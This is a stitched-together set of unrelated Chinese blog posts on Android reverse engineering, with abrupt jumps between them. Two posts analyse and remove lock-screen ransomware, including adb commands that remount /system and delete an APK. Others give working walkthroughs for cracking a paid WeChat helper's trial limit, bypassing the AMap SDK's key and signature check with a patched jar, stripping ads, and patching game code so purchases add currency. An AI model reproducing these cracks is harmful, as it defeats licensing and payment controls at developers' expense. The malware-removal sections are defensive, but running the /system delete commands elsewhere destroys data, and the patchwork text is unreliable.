JxB打开样本,依然是从strings列表中找出好多加密后的字符串,以此双击进去,发现在com.phone.stop.db包中有大量的解密写入shared_prefs过程
    public String p() {
       this.b.getString("send_email_account","587676AA1B91FA679F7EE717D56D6EAE42C4667D5D21F62B");
        returnC.decrypt("6219472174F9AB559585F776E78FA0FF5012D9884F775E16C24270CC152225F1",C.k);
    }
 
    public boolean q() {
        returnthis.b.getBoolean("has_set_send_email_account", false);
    }
 
    public String r() {
        this.b.getString("receive_email_account","A609DC08DE9D6D0DF062B0B68028EE05");
        returnC.decrypt("6219472174F9AB559585F776E78FA0FF5012D9884F775E16C24270CC152225F1",C.k);
    }
 
    public boolean s() {
        returnthis.b.getBoolean("has_set_receive_email_account", false);
    }
 
    public String t() {
       this.b.getString("send_email_pwd","A609DC08DE9D6D0DF062B0B68028EE05");
        returnC.decrypt("A609DC08DE9D6D0DF062B0B68028EE05", C.k);
    }
[align=left]

深入到C.decrypt函数,发现是AES加密算法,而且密钥是明文,大喜过望!

private static final String CipherMode = "AES/ECB/PKCS5Padding";
    public staticString k;
 
    static final{
        C.k = "sdtyffdftesfyfdw";
然而,用AES解密工具试了一下不行。

0x03换一个方向

通过对AES加密算法进行深入研究,发现AES密钥有128、192、256三种长度,但是这个apk用的是哪一种呢?继续分析,发现C类中有一个Createkey函数比较可疑,深入分析一下。
private static SecretKeySpec createKey(String arg11) {[/align]        byte[] v2;
        byte[] v6_2;
        String v0 = arg11;
        String v6 = v0;
        if(v6 == null) {
            v6 = "";
            v0 = v6;
        }
        super(32);
        String v3 = v6;
        v3.append(v0);
        while(v3.length() < 32){
            v3.append("0");
        }
 
        if(v3.length() > 32){
            v3.setLength(32);
        }
 
        v6 = v3;
        try {
            v6_2 = ((StringBuffer)v6).toString().getBytes("UTF-8");
            v2 = v6_2;
        }
        catch(UnsupportedEncodingExceptionv6_1) {
            v6_1 = v6_1;
            v6_1.printStackTrace();
        }
 
        super(v2, "AES");
        return v6_2;
    }
仔细分析发现,该函数是生成密钥的主要过程,而且对于长度小于32字节的密钥,尾部加上一些0使得长度为32字节,由此,大胆输入解密密钥,果然如此。

 

熟悉ASCII码的朋友,一看就知道怎么回事了,而且最后添加的5个05正是AES/ECB/PKCS5Padding的特征,只是这样的解密还看的不爽!那就自己写个解密函数。

0x04解密函数

其 实对C类进行仔细的分析,自己写个解密函数还是比较靠谱的,但是本菜实现比较懒(直说编程比较弱就行了,我听见了好多声音!哈哈!),建一个java工 程,将反编译的C类拷过去,调试修改一下,注意其中要下载oracle的关于AES密钥长度的补丁,详细请看 http://www.cnblogs.com/AloneSword/p/3487809.html。为了安全起见,就不放出源码了,防止有心的朋友进 行恶意利用,这里声明,本渣只进行技术讨论,其他种种,本渣概不参与和负责!
看雪有个朋友直接写了个python脚本,佩服!这就不剽窃了!

0x05后记

首先感谢提供AES加解密工具的网友,虽然我们未曾谋面,谢意一定送出!有需要的网友搜索一下去下载,某不敢剽窃产权!
多的也不说啥了,祝大家新的一年工作顺利,步步高升!

写在前面的话:本人非专业破解的,只是为了被锁机的朋友不被连环坑钱,让大家放心使用安卓手机。在破解之前先备好以下三点:

  1、需要的工具:“ApkIDE又名APK改之理.zip”(论坛里面有下载,里面包含有adb shell工具 不会用的可以百度下)
  2、需要的材料:就用shaguaxiaoguo同学的为素材吧@shaguaxiaoguo ,借用他的锁机软件链接:http://pan.baidu.com/share/link?shareid=1504096275&uk=4153789608
  3、手机被锁前打开了开发者选项的USB调试模式(如果没有,觉得我的方法可行下次被锁之前记得打开)。
   

 

思路:按照那些恶意程序的套路是先获取root权限,修改系统文件,将恶意程序内部包含的另一个锁屏程序给释放出来,
安装为系统应用,设置开机自启动,然后获取设备管理器权限,最后重启手机,使得手机被锁。
以下是破除流程:
一、处理火影烧饼修改器.apk
    咱们先拿到火影烧饼修改器.apk将后缀名改为rar然后打开压缩文件进去查看:
最后发现在assets文件目录下ijm-x86.so文件,这个文件那么大应该就是具有锁屏功能的应用程序了。
接着解压火影烧饼修改器.rar打开assets文件目录然后将ijm-x86.so改为ijm-x86.rar以压缩文件方式打开:
果然,这里面的文件格式和apk的格式是一样的 可以进一步的认为这就是具有锁屏功能的应用程序了。
想破解就应该大胆的去猜测,成不成功只能看运气了。
二、处理ijm-x86.apk
①将ijm-x86.rar的后缀名改为apk格式,解压“ApkIDE又名APK改之理.zip” 用里面的ApkIDE.exe打开这个ijm-x86.apk如下图:
②点击编辑->打开java源码:
得到java源码发现果然有com.cjk.M这个类
然后顺着代码走,发现在这个activity里面启动了另一个类,com.cjk.MyAdmin
多余的我们不用管它,抓住重点就行了,咱们跟进com.cjk.MyAdmin发现几条语句很辣眼睛就是重置了锁屏密码,如图:

 

三、铲除锁屏应用
思路咱们理清楚了,现在开始操作:
1、通过USB连接手机到电脑执行adb shell命令停止恶意程序运行,
①先Ctrl+R输入cmd进入命令行运行adb shell
②运行adb shell
③停止恶意程序运行
      咱们之前分析知道了恶意锁屏程序的包名是:com.cjk只需要执行:am force-stop com.cjk
   
     ④执行完命令之后锁屏的视频就会停止播放了 接着输入之前我们密码:1023就可以解锁回到桌面
2、卸载锁屏程序:
    以下都是命令行:
    ①mount -o remount -o rw /system  重新挂载system
  ②rm /system/app/ijm-x86.apk      删除锁屏程序
  ③reboot                          重启
④卸载烧饼修改器这个母病毒软件,跟平时卸载软件方法一样。

 

完结。小弟愚钝,只能想出这样的笨办法,如果大家有什么更好办法麻烦告知,

本文作者七少月,仅供技术交流,任何与法律和道德有关的行为和作者无关!

 

最近一段时间,本人一直咳嗽发烧,为了研究个二代抽取加密脱壳机, 一星期都在生病熬夜中。。。。有一段时间什么都没发,就发个大理论指导《有服务器逆向六大思路》,还被人无端骂,实在是。。。反正还望见谅吧。不废话了, 这次我来和大家谈谈微信红包辅助这个东西。貌似最近微信辅助特别火,无论是自动群发的微++,还是红包辅助,都卖到2000一个,实在是天价。不过微信肯 定已经采取措施了,以后自动群发营销可能不好做了。继续回到微信红包辅助,顾名思义,就是微信中抢红包的辅助,注意:这种辅助确实存在,但绝对不是那种几 百K就能实现的病毒木马,很多什么600K的抢红包辅助都是拦截马,锁机。其实,只要注意一点,就知道这种辅助软件在安装时是不需要“屏幕密码规则”权限 和“发短信”权限的,还请各位注意。
一开始,我对于这个3.7MB的小软件并不在意,特别看到它的界面 以后,很简单,只有两个界面,一个注册界面,另一个功能界面。可后来慢慢跟下去才发现,这东西做的还是不错的,从它相对复杂的类,和一个2MB多的so中 就可以看出,确实花了一些功夫。先来看看界面(这个软件是我修改的,红色部分为原软件界面中控件名称):

 

很多朋友可能看到如此清爽简单的界面,会暗自高兴,只要修改XML中的入口点跳过注册界面,或者爆破下注册码就 可以。很抱歉,这个开发商还是比较不错的,两种办法都无法实现,如果你强行爆破,得到的第二个界面是白屏,也就是什么内容都没有。为什么会这样?我们后面 再说,这个软件说起来可能分支较多,为了条理清楚,本文分三个部分阐述,分别为如何快速达到破解这个软件的目地、软件功能界面加载和软件注册原理、微信红 包辅助该如何实现。
一、            软件快速破解
稍 微分析可以知道,短时间内想通过注册码或者跳过界面是不可能快速破解的,很多人想到这个软件可以试用,于是想无限试用行不行,答案肯定是可以的。当这个软 件在试用次数多了以后,就会出现“试用次数过多。。。”。很多朋友又会搜索这个字符串,当然一无所获。这个字符串隐藏很深,在so中那个位置,有大概几十 种case情况,所以还是会把人误导想简单。于是,又有朋友想去搞这个按钮点击事件,跟跟就发现,这个界面有2个按钮,只有1个onclick按钮点击事 件,代码差不多几页,于是又哭了。。。。其实根本不用这么麻烦,我们思考下,凡是试用,其实原理都是获取设备的信息,两条路,一个就是利用软件修改设备信 息,另一个就是到代码处修改获取设备信息函数,让它永远返回是新机。先到入口点,直接看oncreate()方法:
我们非常清楚地看到了一句获取设备代码,而稍微看下,就知道tlib类,实际上是基于那个2MB的libtlib.so的,反正就是so里的东西。我们选择第一条思路下手,很简单,做一个基础XPOSSED框架的一键新机修改设备信息就可以,网上很多,我做的如下:

 

二、            软件功能界面加载和软件注册原理
上述说到,利用无论是入口点爆破,还是注册码爆破,得到的功能界面都是白屏,很多人想不明白,这是为什么。我们到功能界面的oncreate()方法中去寻找答案:
这个又出现个三个类:T_RuntimeManager,Utils和tlib。最后一句代码刚刚已经 分析过,又获取一次设备信息,来判断是不是新机。T_RuntimeManager有1个加载功能界面的属性,我们认为这个类中存在答案。进去一看,发现 一个文件夹/t_reg_cache/:
由此,我们知道了这个软件的功能界面根本不在一般情况下的布局XML里,软件里根本不存在功能界面的布局,当试用成功或注册成功后,才会加载布局,而这个文件夹中,main.twin文件其实相当于1个布局XML文件,里面写着功能界面的布局:
可以看出,如果注册码不是真的注册成功,那么功能界面都是白屏,而大家可以自己搜索tap.rc文件和 intermediate.tis这两个加密的类似的脚本文件,都是和注册相关的文件。下面再来说说注册的原理,上面说了,在注册界面有2个按钮,却只有 1个onclick方法,看来不得不对它分析了。其实并不是只有这2个按钮共享这个onclick方法,连“解绑”和“清除注册”的点击也是这个方法。
这里清晰的有1个函数startScript函数,看来比较注册码的是利用了很复杂的函数,类似于脚 本。到此,我们终于找到了注册码的方法,下图我标红色的代码,就是主要的注册码验证方法了,它的主要方法是将输入的注册码inputregcode放到 libtlib.so的fundownscript函数中比较。有兴趣朋友可以好好看看这个so,这个so确实写得不错。这里再提一 下,  this.executeFloat = ((Button)findViewById(2131427336))这句代码,是用于功能界面开启悬浮窗,所以函数中含有floatactivity 的大多是与悬浮窗功能有关。而  initialProj("")函数,实际上是启动1个抽取工程,也就是实现加载功能界面的。与之对应有1个 reloadProj()函数,我们继续分析:

 

三、            微信红包等抢红包辅助如何实现
我 们回到注册界面的oncreate()方法,发现如下代码,可以看出,它的运行需要一个jar包,而我认为这个软件最出彩的就是使用这个jar包,这个 jar中包含的就是微信红包辅助的关键实现。脱壳的朋友都很熟悉,这是加固初级最常用的手段,虽然这个jar包没有做的加密,但能有这个意识,已经是非常 不错了,而且确实,这个软件为了实现抢红包还有了inject注入的功能。并且,从代码也能看出,抢红包软件需要su。
这个jar包的名字叫foo.jar,利用ZIP查看,立刻知道,这个jar包非常类似于1个APK,而抢红包辅助实现的关键代码应该就是在这个jar包中的dex里。
非常清楚,这个jar的版本号是5.1,正好对应了上述oncreate()方法中的 updataJar函数后面的参数“5.1”。我们也就知道,libFigurecolorEx.so这个so文件就是实现抢红包辅助的so,而上述那个 libtlib.so这个so文件主要是实现注册验证的so文件。至此,我们对于这个软件的整个框架思路就已经结束了,脉络完全理清,有兴趣的朋友可以模 仿,改造等等了。资料下载:http://pan.baidu.com/s/1i30dHkh

前言

作为一个 Android 开发者,使用定位 SDK 越来越频繁,但是基本上所有的定位 SDK 都需要使用时申请 key ,而且这些 key 又根据签名和包名生成,作为程序员,怎么能忍受这么麻烦的事情,于是就着手想办法解决。至于为什么是高德呢,只是因为不喜欢百度。

准备工具

  • 高德定位SDK最新版 AMap_Location_V2.9.0_20160906.jar
  • Android Studio
  • Java Decompiler

分析过程

高德的定位 SDK 在申请 key 的时候需要的信息包名和 SHA1 码,然后会给我们一个 key ,因此在校验的时候肯定也是这三个条件有:
  • 包名
  • 编译key的SHA1码
  • 申请得到的key
那么如果我们找到高德获取这些信息的入口,申请一个key,然后将这些信息写死在代码中试试能不能做到呢?
接下来我们就来尝试一下
高德的定位 SDK 是一个 jar 包,而jar包是很容易反编译的,首先我们使用 Java Decompiler 来看一下代码结构
看到了什么— APSService ,就是高德让我们在 AndroidManifest.xml 中声明的那个 Service ,说明这个就是高德定位的入口,来看看里面的内容
做 过动态加载的人肯定一眼就看出来了,这是一个代{过}{滤}理 Service ,真正运行的是实现了 APSServiceBase 的 Service ,那就需要去寻找实现了 APSServiceBase 的类,反正类不多就一个一个看,就找了到 b.class
在 onBind 方法里面我们看到了关键信息
这 个 onBind 是代{过}{滤}理 APSService 的 onBind ,那我们就在 APSService 的 onBind 方法里面打印这些参数,看看分别都是什么,那怎么修改 jar 包呢,其实非常简单, jar 包就是一个 zip 格式的压缩文件,我们只需要解压替换,然后重新压缩就可以了。

修改jar

使用 Android Studio 新建一个 Android Library 的 Module ,包名与  jar 包要修改的类包名相同,新建一个类,与要修改的类名相同
复 制反编译出来的 APSService 的内容到我们新建的类中,同时将 SDK 的 jar 包作为这个 Module 的依赖包,保证这个 Module 可以正常编译。其中 onBInd 方法我们修改为以下内容,其中修改后的内容为我们已经在高德官网申请过得 key 信息。
  • 注意:这里 sha1AndPackage 中 SHA1 码与包名中间的冒号为中文冒号,高德真是费尽心机…

public IBinder onBind(Intent paramIntent) {        try {            String str1 = paramIntent.getStringExtra("apiKey");            String str2 = paramIntent.getStringExtra("packageName");            String str3 = paramIntent.getStringExtra("sha1AndPackage");            String str4 = paramIntent.getStringExtra("as");            Log.i("修改前数据", "apiKey:" + str1 + "\npackageName:" + str2 + "\nsha1AndPackage:" + str3 + "\nas:" + str4);            paramIntent.putExtra("apiKey", "93036c13932aba6eeaee2a02656f14d7");            paramIntent.putExtra("packageName", "com.lge.clock");            paramIntent.putExtra("sha1AndPackage", "FA:AB:F5:02:B2:17:AC:D3:DA:46:38:ED:FF:E3:0C:A3:E4:67:0A:50:com.lge.clock");            str1 = paramIntent.getStringExtra("apiKey");            str2 = paramIntent.getStringExtra("packageName");            str3 = paramIntent.getStringExtra("sha1AndPackage");            str4 = paramIntent.getStringExtra("as");            Log.i("修改后数据", "apiKey:" + str1 + "\npackageName:" + str2 + "\nsha1AndPackage:" + str3 + "\nas:" + str4);            return this.a.onBind(paramIntent);        } catch (Throwable localThrowable) {            c.a(localThrowable, "APSService", "onBind");        }        return null;    }

接下来只需要打包这个 Module 为 jar 包,然后提取出这个类的 class 文件,替换高德 SDK 的 jar 包中对应的 class 文件即可。
Android Studio 如何打包 jar 呢?
我们在这个修改的用来修改的 Module 的 build.gradle 中添加以下代码

task makeJar(type: Copy) {    delete 'build/libs/lib.jar'    from('build/intermediates/bundles/release/')    into('build/libs/')    include('classes.jar')    rename ('classes.jar', 'lib.jar')}makeJar.dependsOn(build)

在工程目录下执行

gradlew makeJar

即可得到 jar 文件
解压 lib.jar 和 高德 SDK 的 jar,使用 lib.jar 中的 APSService.class 替换高德 SDK 中的 APSService.class ,然后将这个文件夹重新压缩成 zip格式 ,然后修改扩展名为 .jar 即可。

测试

使用修改后的 SDK jar 包替换原来的 jar 包进行定位测试,不要忘了在 AndroidManifest.xml 也加上申请好的 key 。
测试结果为可以正常定位,包名和签名可以随意换咯,再也不用麻烦的每次申请 key 啦!

国际惯例

奉上源代码

https://github.com/YiuChoi/CrackAmap[size=0em]

TO:想了解安卓游戏修改的人(大神请路过),因为游戏是我自己玩所以不想修改太变态什么都无限,需要金币和钻石的时候购买一下。

首先说说去广告吧。

游戏是谷歌应用商店的游戏,带的广告为谷歌广告底部横条广告,所以这方法可以去除大部分谷歌游戏广告。

1.打开killer,搜索AndroidManifest.xml  搜索到--- const-string v4, "Missing internet permission in AndroidManifest.xml."

2.进入后下面的是执行广告的代码,我修改方法就是直接让代码结束,修改的部分是下面#部分

.method protected zzaV()Z
    .locals 6
 
    const/4 v1, 0x0                #const/4 v1, 0x0  那v1修改成v0
     
    return v0                          #这是我自己添加进去的,原本的没有,直接返回V0
     
    const/4 v0, 0x1
 
    invoke-static {}, Lcom/google/android/gms/ads/internal/zzr;->zzbC()Lcom/google/android/gms/internal/zzir;
 
    move-result-object v2
 
    iget-object v3, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
 
    iget-object v3, v3, Lcom/google/android/gms/ads/internal/zzs;->context:Landroid/content/Context;
 
    invoke-virtual {v3}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
 
    move-result-object v3
 
    iget-object v4, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
 
    iget-object v4, v4, Lcom/google/android/gms/ads/internal/zzs;->context:Landroid/content/Context;
 
    invoke-virtual {v4}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
 
    move-result-object v4
 
    const-string v5, "android.permission.INTERNET"
 
    invoke-virtual {v2, v3, v4, v5}, Lcom/google/android/gms/internal/zzir;->zza(Landroid/content/pm/PackageManager;Ljava/lang/String;Ljava/lang/String;)Z
 
    move-result v2
 
    if-nez v2, :cond_0
 
    invoke-static {}, Lcom/google/android/gms/ads/internal/client/zzn;->zzcS()Lcom/google/android/gms/ads/internal/util/client/zza;
 
    move-result-object v0
 
    iget-object v2, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
 
    iget-object v2, v2, Lcom/google/android/gms/ads/internal/zzs;->zzrm:Lcom/google/android/gms/ads/internal/zzs$zza;
 
    iget-object v3, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
 
    iget-object v3, v3, Lcom/google/android/gms/ads/internal/zzs;->zzrp:Lcom/google/android/gms/ads/internal/client/AdSizeParcel;
 
    const-string v4, "Missing internet permission in AndroidManifest.xml."
 
    const-string v5, "Missing internet permission in AndroidManifest.xml. You must have the following declaration: <uses-permission android:name=\"android.permission.INTERNET\" />"
 
    invoke-virtual {v0, v2, v3, v4, v5}, Lcom/google/android/gms/ads/internal/util/client/zza;->zza(Landroid/view/ViewGroup;Lcom/google/android/gms/ads/internal/client/AdSizeParcel;Ljava/lang/String;Ljava/lang/String;)V
 
    move v0, v1
 
    :cond_0
    invoke-static {}, Lcom/google/android/gms/ads/internal/zzr;->zzbC()Lcom/google/android/gms/internal/zzir;
 
    move-result-object v2
 
    iget-object v3, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
 
    iget-object v3, v3, Lcom/google/android/gms/ads/internal/zzs;->context:Landroid/content/Context;
 
    invoke-virtual {v2, v3}, Lcom/google/android/gms/internal/zzir;->zzI(Landroid/content/Context;)Z
 
    move-result v2
 
    if-nez v2, :cond_1
 
    invoke-static {}, Lcom/google/android/gms/ads/internal/client/zzn;->zzcS()Lcom/google/android/gms/ads/internal/util/client/zza;
 
    move-result-object v0
 
    iget-object v2, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
 
    iget-object v2, v2, Lcom/google/android/gms/ads/internal/zzs;->zzrm:Lcom/google/android/gms/ads/internal/zzs$zza;
 
    iget-object v3, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
 
    iget-object v3, v3, Lcom/google/android/gms/ads/internal/zzs;->zzrp:Lcom/google/android/gms/ads/internal/client/AdSizeParcel;
 
    const-string v4, "Missing AdActivity with android:configChanges in AndroidManifest.xml."
 
    const-string v5, "Missing AdActivity with android:configChanges in AndroidManifest.xml. You must have the following declaration within the <application> element: <activity android:name=\"com.google.android.gms.ads.AdActivity\" android:configChanges=\"keyboard|keyboardHidden|orientation|screenLayout|uiMode|screenSize|smallestScreenSize\" />"
 
    invoke-virtual {v0, v2, v3, v4, v5}, Lcom/google/android/gms/ads/internal/util/client/zza;->zza(Landroid/view/ViewGroup;Lcom/google/android/gms/ads/internal/client/AdSizeParcel;Ljava/lang/String;Ljava/lang/String;)V
 
    move v0, v1
 
    :cond_1
    if-nez v0, :cond_2
 
    iget-object v2, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
 
    iget-object v2, v2, Lcom/google/android/gms/ads/internal/zzs;->zzrm:Lcom/google/android/gms/ads/internal/zzs$zza;
 
    if-eqz v2, :cond_2
 
    iget-object v2, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
 
    iget-object v2, v2, Lcom/google/android/gms/ads/internal/zzs;->zzrm:Lcom/google/android/gms/ads/internal/zzs$zza;
 
    invoke-virtual {v2, v1}, Lcom/google/android/gms/ads/internal/zzs$zza;->setVisibility(I)V
 
    :cond_2
    return v0
.end method

接下来说下购买金币增加钻石的方法--修改DLL文件。

1.把游戏的DLL文件解压到另一个文件夹里面,路径:小仓鼠的生活.apk\assets\bin\Data\Managed

2.解压好友把所有的dll文件放入.net reflector软件  搜索(放大镜按钮)coin,搜索方式为search member(快捷键ctrl+m)

3.找到一个BuyCoin  CoinShop  ,修改这文件就可以达到了。

4.需要下载reflexil.1.9插件进行修改

public void BuyCoin(DiamondShop.DiamondInfo diamondInfo){    this.buySuccessWindow.text = LocalizationCustom.Get("638", LocalizationCustom.LocalizeType.Normal);    if (SaveData.instance.data.diamondPoint >= [url=]diamondInfo[/url].valueJP)          ------白话:当你身上的钻石大于等于购买商品的钻石时      {        SaveData.instance.data.diamondPoint -= [url=]diamondInfo[/url].valueJP;               身上的钻石-商品钻石价格        SaveData.instance.data.coinNum += [url=]diamondInfo[/url].num;                                 this.buySuccessWindow.openFlag = true;          BuyDiamondWindow.SendUserItemsData(1, 0, 0, [url=]diamondInfo[/url].num, SaveData.instance.data.coinNum - [url=]diamondInfo[/url].num, SaveData.instance.data.coinNum, [url=]diamondInfo[/url].valueJP, SaveData.instance.data.diamondPoint + [url=]diamondInfo[/url].valueJP, SaveData.instance.data.diamondPoint);        MainManager.instance.PlaySound(MainManager.SoundType.CashExchange);       下面就是扣除钻石了

我的方法就是删除判断达到即使你钻石不够也可以进行购买,但购买后你的钻石会是负数,因此我又修改下面代码。

把扣除钻石改成增加钻石。

修改完后替换原来的DLL文件,游戏重新签名就可以了

方法结束。

附镇文图两张:

[caption id="" align="alignnone" width="324"]小仓鼠安卓 小仓鼠安卓[/caption]

[caption id="" align="alignnone" width="324"]安卓游戏破解版小仓鼠 安卓游戏破解版小仓鼠[/caption]

昨天玩了一个安卓游戏,叫做《屌丝买房记》,大概就是类似于《北京浮生记》(暴露年龄)一样倒买倒卖的游戏
消磨时间,但是初始金币太少了,最贵的房子要3亿,得玩到什么时候。果断自己动手丰衣足食,咱们直接来修改初始金币。直接变身富二代买房记

准备工作:
游戏一份:链接:http://pan.baidu.com/s/1o8D8kUe 密码:cvo7

反编译工具一份:Androidkiller (论坛有链接,我这里就上传到网盘了,善用搜索)

正文:
打开游戏,我们可以看到,初始金币为3000

用AndroidKiller打开apk文件
点击入口.MaiFangJi跳转到smail


接着点击工具栏查看java源码

如下图

接着咱们CTRL+F搜索3000(初始金币数值)

会搜索出很多3000,都不是咱们要的,咱们一直点next,最后回来到这个地方

defaultcash是不是很眼熟?对,这里就是默认金币数值的位置。
接下来就简单啦,回到smail里面查找字符串-直接搜索3000

双击跳转到数值所在位置
咱们把3000修改为99999999,保存
回编译。

打开我们修改过的游戏,看一下默认金币是否变了

可以看到,金币已经变成了99999999了

至此初始金币修改完成,当然了,如果细心的同学可以看到,游戏里面有健康值,名声,这些数值都在3000附近,直接修改保存就行了。

PS:这个游戏有广告,咱们需要去除他的联网权限,好好的单机游戏要什么联网权限对不。

教程比较简单,没有涉及到IDA,当然了我也是弱鸡。望各位dalao手下留情

后记,关于是如何找到3000这个数值所在的位置,我也是找了好久的,最开始我认为作者会把数值改为十六进制,搜索0xbb8,出来了5个文件,一一修改 都不对,后面查看关键的.maifangji这个文件,通过观察java源码得知所有的关键数值都在里面,包括随机事件,房屋价格。这就帮我确定了初始金 币一定在这里面的想法,接着在java源码里面仔细查看找到了defaultcash这个数值,修改一下尝试,果然是对的。

修改的关键在于,善于分析,用排除法

就酱